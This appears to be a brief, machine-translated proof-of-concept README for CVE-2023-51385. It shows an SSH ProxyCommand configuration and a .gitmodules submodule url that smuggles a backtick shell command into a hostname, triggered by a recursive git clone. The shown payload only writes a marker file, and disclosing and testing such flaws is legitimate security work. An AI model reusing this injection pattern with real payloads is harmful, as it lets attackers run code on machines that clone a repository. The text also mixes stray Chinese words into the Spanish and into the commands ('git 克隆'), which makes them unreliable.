
Una verificación de CVE-2023-51385
~/.ssh/config主机 *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
Existe una inyección de comandos en la declaración del archivo .gitmodules
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
Una vez configurado, ejecute el siguiente comando para desencadenar
git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
Si se ejecuta con éxito, se generará el archivo cve.txt en el directorio CVE-2023-51385_test
![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )
Para más detalles, consulte el blog del artículo: